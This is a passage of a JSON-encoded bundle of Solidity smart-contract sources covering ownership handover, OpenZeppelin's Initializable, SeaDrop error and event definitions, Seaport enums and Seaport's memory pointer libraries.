pendingOwner);\n\n /// @dev `keccak256(bytes(\"OwnershipTransferred(address,address)\"))`.\n uint256 private constant _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE =\n 0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverRequested(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE =\n 0xdbf36a107da19e49527a7176a1babf963b4b0ff8cde35ee35d6cd8f1f9ac7e1d;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverCanceled(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE =\n 0xfa7b8eab7da67f412cc9575ed43464468f9bfbae89d1675917346ca6d8fe3c92;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The owner slot is given by: `not(_OWNER_SLOT_NOT)`.\n /// It is intentionally chosen to be a high value\n /// to avoid collision with lower slots.\n /// The choice of manual storage layout is to enable compatibility\n /// with both regular and upgradeable contracts.\n uint256 private constant _OWNER_SLOT_NOT = 0x8b78c6d8;\n\n /// The ownership handover slot of `newOwner` is given by:\n /// ```\n /// mstore(0x00, or(shl(96, user), _HANDOVER_SLOT_SEED))\n /// let handoverSlot := keccak256(0x00, 0x20)\n /// ```\n /// It stores the expiry timestamp of the two-step ownership handover.\n uint256 private constant _HANDOVER_SLOT_SEED = 0x389a75e1;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Initializes the owner directly without authorization guard.\n /// This function must be called upon initialization,\n /// regardless of whether the contract is upgradeable or not.\n /// This is to enable generalization to both regular and upgradeable contracts,\n /// and to save gas in case the initial owner is not the caller.\n /// For performance reasons, this function will not check if there\n /// is an existing owner.\n function _initializeOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Store the new value.\n sstore(not(_OWNER_SLOT_NOT), newOwner)\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, 0, newOwner)\n }\n }\n\n /// @dev Sets the owner directly without authorization guard.\n function _setOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n let ownerSlot := not(_OWNER_SLOT_NOT)\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, sload(ownerSlot), newOwner)\n // Store the new value.\n sstore(ownerSlot, newOwner)\n }\n }\n\n /// @dev Throws if the sender is not the owner.\n function _checkOwner() internal view virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // If the caller is not the stored owner, revert.\n if iszero(eq(caller(), sload(not(_OWNER_SLOT_NOT)))) {\n mstore(0x00, 0x82b42900) // `Unauthorized()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC UPDATE FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Allows the owner to transfer the ownership to `newOwner`.\n function transferOwnership(address newOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(shl(96, newOwner)) {\n mstore(0x00, 0x7448fbae) // `NewOwnerIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n }\n _setOwner(newOwner);\n }\n\n /// @dev Allows the owner to renounce their ownership.\n function renounceOwnership() public payable virtual onlyOwner {\n _setOwner(address(0));\n }\n\n /// @dev Request a two-step ownership handover to the caller.\n /// The request will automatically expire in 48 hours (172800 seconds) by default.\n function requestOwnershipHandover() public payable virtual {\n unchecked {\n uint256 expires = block.timestamp + ownershipHandoverValidFor();\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to `expires`.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), expires)\n // Emit the {OwnershipHandoverRequested} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE, caller())\n }\n }\n }\n\n /// @dev Cancels the two-step ownership handover to the caller, if any.\n function cancelOwnershipHandover() public payable virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), 0)\n // Emit the {OwnershipHandoverCanceled} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE, caller())\n }\n }\n\n /// @dev Allows the owner to complete the two-step ownership handover to `pendingOwner`.\n /// Reverts if there is no existing ownership handover requested by `pendingOwner`.\n function completeOwnershipHandover(address pendingOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n let handoverSlot := keccak256(0x0c, 0x20)\n // If the handover does not exist, or has expired.\n if gt(timestamp(), sload(handoverSlot)) {\n mstore(0x00, 0x6f5e8818) // `NoHandoverRequest()`.\n revert(0x1c, 0x04)\n }\n // Set the handover slot to 0.\n sstore(handoverSlot, 0)\n }\n _setOwner(pendingOwner);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC READ FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the owner of the contract.\n function owner() public view virtual returns (address result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := sload(not(_OWNER_SLOT_NOT))\n }\n }\n\n /// @dev Returns the expiry timestamp for the two-step ownership handover to `pendingOwner`.\n function ownershipHandoverExpiresAt(address pendingOwner)\n public\n view\n virtual\n returns (uint256 result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute the handover slot.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n // Load the handover slot.\n result := sload(keccak256(0x0c, 0x20))\n }\n }\n\n /// @dev Returns how long a two-step ownership handover is valid for in seconds.\n function ownershipHandoverValidFor() public view virtual returns (uint64) {\n return 48 * 3600;\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* MODIFIERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Marks a function as only callable by the owner.\n modifier onlyOwner() virtual {\n _checkOwner();\n _;\n }\n}\n" }, "lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.19;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n *\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (address(this).code.length == 0 && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n" }, "src/lib/SeaDropErrorsAndEvents.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { CreatorPayout, PublicDrop } from \"./ERC721SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /**\n * @notice The SeaDrop token types, emitted as part of\n * `event SeaDropTokenDeployed`.\n */\n enum SEADROP_TOKEN_TYPE {\n ERC721_STANDARD,\n ERC721_CLONE,\n ERC721_UPGRADEABLE,\n ERC1155_STANDARD,\n ERC1155_CLONE,\n ERC1155_UPGRADEABLE\n }\n\n /**\n * @notice An event to signify that a SeaDrop token contract was deployed.\n */\n event SeaDropTokenDeployed(SEADROP_TOKEN_TYPE tokenType);\n\n /**\n * @notice Revert with an error if the function selector is not supported.\n */\n error UnsupportedFunctionSelector(bytes4 selector);\n\n /**\n * @dev Revert with an error if the drop stage is not active.\n */\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n */\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n */\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total,\n uint256 maxTokenSupplyForStage\n );\n\n /**\n * @dev Revert if the fee recipient is the zero address.\n */\n error FeeRecipientCannotBeZeroAddress();\n\n /**\n * @dev Revert if the fee recipient is not already included.\n */\n error FeeRecipientNotPresent();\n\n /**\n * @dev Revert if the fee basis points is greater than 10_000.\n */\n error InvalidFeeBps(uint256 feeBps);\n\n /**\n * @dev Revert if the fee recipient is already included.\n */\n error DuplicateFeeRecipient();\n\n /**\n * @dev Revert if the fee recipient is restricted and not allowed.\n */\n error FeeRecipientNotAllowed(address got);\n\n /**\n * @dev Revert if the creator payout address is the zero address.\n */\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /**\n * @dev Revert if the creator payouts are not set.\n */\n error CreatorPayoutsNotSet();\n\n /**\n * @dev Revert if the creator payout basis points are zero.\n */\n error CreatorPayoutBasisPointsCannotBeZero();\n\n /**\n * @dev Revert if the total basis points for the creator payouts\n * don't equal exactly 10_000.\n */\n error InvalidCreatorPayoutTotalBasisPoints(\n uint256 totalReceivedBasisPoints\n );\n\n /**\n * @dev Revert if the creator payout basis points don't add up to 10_000.\n */\n error InvalidCreatorPayoutBasisPoints(uint256 totalReceivedBasisPoints);\n\n /**\n * @dev Revert with an error if the allow list proof is invalid.\n */\n error InvalidProof();\n\n /**\n * @dev Revert if a supplied signer address is the zero address.\n */\n error SignerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n */\n error SignerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n */\n error PayerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is already included in mapping\n * when adding.\n */\n error DuplicatePayer();\n\n /**\n * @dev Revert with an error if a signer is already included in mapping\n * when adding.\n */\n error DuplicateSigner();\n\n /**\n * @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n */\n error PayerNotAllowed(address got);\n\n /**\n * @dev Revert if a supplied payer address is the zero address.\n */\n error PayerCannotBeZeroAddress();\n\n /**\n * @dev Revert if the start time is greater than the end time.\n */\n error InvalidStartAndEndTime(uint256 startTime, uint256 endTime);\n\n /**\n * @dev Revert with an error if the signer payment token is not the same.\n */\n error InvalidSignedPaymentToken(address got, address want);\n\n /**\n * @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n */\n error InvalidSignedMintPrice(\n address paymentToken,\n uint256 got,\n uint256 minimum\n );\n\n /**\n * @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed\n * maxTotalMintableByWalletPerToken is greater than the maximum\n * specified.\n */\n error InvalidSignedMaxTotalMintableByWalletPerToken(\n uint256 got,\n uint256 maximum\n );\n\n /**\n * @dev Revert with an error if the fromTokenId is not within range.\n */\n error InvalidSignedFromTokenId(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if the toTokenId is not within range.\n */\n error InvalidSignedToTokenId(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n */\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n */\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n */\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /**\n * @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n */\n error SignedMintsMustRestrictFeeRecipients();\n\n /**\n * @dev Revert with an error if a signature for a signed mint has already\n * been used.\n */\n error SignatureAlreadyUsed();\n\n /**\n * @dev Revert with an error if the contract has no balance to withdraw.\n */\n error NoBalanceToWithdraw();\n\n /**\n * @dev Revert with an error if the caller is not an allowed Seaport.\n */\n error InvalidCallerOnlyAllowedSeaport(address caller);\n\n /**\n * @dev Revert with an error if the order does not have the ERC1155 magic\n * consideration item to signify a consecutive mint.\n */\n error MustSpecifyERC1155ConsiderationItemForSeaDropMint();\n\n /**\n * @dev Revert with an error if the extra data version is not supported.\n */\n error UnsupportedExtraDataVersion(uint8 version);\n\n /**\n * @dev Revert with an error if the extra data encoding is not supported.\n */\n error InvalidExtraDataEncoding(uint8 version);\n\n /**\n * @dev Revert with an error if the provided substandard is not supported.\n */\n error InvalidSubstandard(uint8 substandard);\n\n /**\n * @dev Revert with an error if the implementation contract is called without\n * delegatecall.\n */\n error OnlyDelegateCalled();\n\n /**\n * @dev Revert with an error if the provided allowed Seaport is the\n * zero address.\n */\n error AllowedSeaportCannotBeZeroAddress();\n\n /**\n * @dev Emit an event when allowed Seaport contracts are updated.\n */\n event AllowedSeaportUpdated(address[] allowedSeaport);\n\n /**\n * @dev An event with details of a SeaDrop mint, for analytical purposes.\n *\n * @param payer The address who payed for the tx.\n * @param dropStageIndex The drop stage index. Items minted through\n * public mint have dropStageIndex of 0\n */\n event SeaDropMint(address payer, uint256 dropStageIndex);\n\n /**\n * @dev An event with updated allow list data.\n *\n * @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\n event AllowListUpdated(\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /**\n * @dev An event with updated drop URI.\n */\n event DropURIUpdated(string newDropURI);\n\n /**\n * @dev An event with the updated creator payout address.\n */\n event CreatorPayoutsUpdated(CreatorPayout[] creatorPayouts);\n\n /**\n * @dev An event with the updated allowed fee recipient.\n */\n event AllowedFeeRecipientUpdated(\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /**\n * @dev An event with the updated signer.\n */\n event SignerUpdated(address indexed signer, bool indexed allowed);\n\n /**\n * @dev An event with the updated payer.\n */\n event PayerUpdated(address indexed payer, bool indexed allowed);\n}\n" }, "lib/seaport/lib/seaport-types/src/lib/ConsiderationEnums.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nenum OrderType {\n // 0: no partial fills, anyone can execute\n FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n PARTIAL_RESTRICTED,\n\n // 4: contract order type\n CONTRACT\n}\n\nenum BasicOrderType {\n // 0: no partial fills, anyone can execute\n ETH_TO_ERC721_FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n ETH_TO_ERC721_PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n ETH_TO_ERC721_FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 4: no partial fills, anyone can execute\n ETH_TO_ERC1155_FULL_OPEN,\n\n // 5: partial fills supported, anyone can execute\n ETH_TO_ERC1155_PARTIAL_OPEN,\n\n // 6: no partial fills, only offerer or zone can execute\n ETH_TO_ERC1155_FULL_RESTRICTED,\n\n // 7: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 8: no partial fills, anyone can execute\n ERC20_TO_ERC721_FULL_OPEN,\n\n // 9: partial fills supported, anyone can execute\n ERC20_TO_ERC721_PARTIAL_OPEN,\n\n // 10: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC721_FULL_RESTRICTED,\n\n // 11: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 12: no partial fills, anyone can execute\n ERC20_TO_ERC1155_FULL_OPEN,\n\n // 13: partial fills supported, anyone can execute\n ERC20_TO_ERC1155_PARTIAL_OPEN,\n\n // 14: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC1155_FULL_RESTRICTED,\n\n // 15: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 16: no partial fills, anyone can execute\n ERC721_TO_ERC20_FULL_OPEN,\n\n // 17: partial fills supported, anyone can execute\n ERC721_TO_ERC20_PARTIAL_OPEN,\n\n // 18: no partial fills, only offerer or zone can execute\n ERC721_TO_ERC20_FULL_RESTRICTED,\n\n // 19: partial fills supported, only offerer or zone can execute\n ERC721_TO_ERC20_PARTIAL_RESTRICTED,\n\n // 20: no partial fills, anyone can execute\n ERC1155_TO_ERC20_FULL_OPEN,\n\n // 21: partial fills supported, anyone can execute\n ERC1155_TO_ERC20_PARTIAL_OPEN,\n\n // 22: no partial fills, only offerer or zone can execute\n ERC1155_TO_ERC20_FULL_RESTRICTED,\n\n // 23: partial fills supported, only offerer or zone can execute\n ERC1155_TO_ERC20_PARTIAL_RESTRICTED\n}\n\nenum BasicOrderRouteType {\n // 0: provide Ether (or other native token) to receive offered ERC721 item.\n ETH_TO_ERC721,\n\n // 1: provide Ether (or other native token) to receive offered ERC1155 item.\n ETH_TO_ERC1155,\n\n // 2: provide ERC20 item to receive offered ERC721 item.\n ERC20_TO_ERC721,\n\n // 3: provide ERC20 item to receive offered ERC1155 item.\n ERC20_TO_ERC1155,\n\n // 4: provide ERC721 item to receive offered ERC20 item.\n ERC721_TO_ERC20,\n\n // 5: provide ERC1155 item to receive offered ERC20 item.\n ERC1155_TO_ERC20\n}\n\nenum ItemType {\n // 0: ETH on mainnet, MATIC on polygon, etc.\n NATIVE,\n\n // 1: ERC20 items (ERC777 and ERC20 analogues could also technically work)\n ERC20,\n\n // 2: ERC721 items\n ERC721,\n\n // 3: ERC1155 items\n ERC1155,\n\n // 4: ERC721 items where a number of tokenIds are supported\n ERC721_WITH_CRITERIA,\n\n // 5: ERC1155 items where a number of ids are supported\n ERC1155_WITH_CRITERIA\n}\n\nenum Side {\n // 0: Items that can be spent\n OFFER,\n\n // 1: Items that must be received\n CONSIDERATION\n}\n" }, "lib/seaport/lib/seaport-types/src/helpers/PointerLibraries.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ntype CalldataPointer is uint256;\n\ntype ReturndataPointer is uint256;\n\ntype MemoryPointer is uint256;\n\nusing CalldataPointerLib for CalldataPointer global;\nusing MemoryPointerLib for MemoryPointer global;\nusing ReturndataPointerLib for ReturndataPointer global;\n\nusing CalldataReaders for CalldataPointer global;\nusing ReturndataReaders for ReturndataPointer global;\nusing MemoryReaders for MemoryPointer global;\nusing MemoryWriters for MemoryPointer global;\n\nCalldataPointer constant CalldataStart = CalldataPointer.wrap(0x04);\nMemoryPointer constant FreeMemoryPPtr = MemoryPointer.wrap(0x40);\nuint256 constant IdentityPrecompileAddress = 0x4;\nuint256 constant OffsetOrLengthMask = 0xffffffff;\nuint256 constant _OneWord = 0x20;\nuint256 constant _FreeMemoryPointerSlot = 0x40;\n\n/// @dev Allocates `size` bytes in memory by increasing the free memory pointer\n/// and returns the memory pointer to the first byte of the allocated region.\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction malloc(uint256 size) pure returns (MemoryPointer mPtr) {\n assembly {\n mPtr := mload(_FreeMemoryPointerSlot)\n mstore(_FreeMemoryPointerSlot, add(mPtr, size))\n }\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction getFreeMemoryPointer() pure returns (MemoryPointer mPtr) {\n mPtr = FreeMemoryPPtr.readMemoryPointer();\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction setFreeMemoryPointer(MemoryPointer mPtr) pure {\n FreeMemoryPPtr.write(mPtr);\n}\n\nlibrary CalldataPointerLib {\n function lt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(CalldataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `cdPtr + headOffset` to a calldata.\n /// pointer `cdPtr` must point to some parent object with a dynamic\n /// type's head stored at `cdPtr + headOffset`.\n function pptr(\n CalldataPointer cdPtr,\n uint256 headOffset\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(\n cdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `cdPtr` to a calldata pointer.\n /// `cdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(cdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the calldata pointer one word after `cdPtr`.\n function next(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the calldata pointer `_offset` bytes after `cdPtr`.\n function offset(\n CalldataPointer cdPtr,\n uint256 _offset\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from calldata starting at `src` to memory at\n /// `dst`.\n function copy(\n CalldataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n calldatacopy(dst, src, size)\n }\n }\n}\n\nlibrary ReturndataPointerLib {\n function lt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(ReturndataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `rdPtr + headOffset` to a returndata\n /// pointer. `rdPtr` must point to some parent object with a dynamic\n /// type's head stored at `rdPtr + headOffset`.\n function pptr(\n ReturndataPointer rdPtr,\n uint256 headOffset\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(\n rdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `rdPtr` to a returndata pointer.\n /// `rdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(rdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the returndata pointer one word after `cdPtr`.\n function next(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the returndata pointer `_offset` bytes after `cdPtr`.\n function offset(\n ReturndataPointer rdPtr,\n uint256 _offset\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` 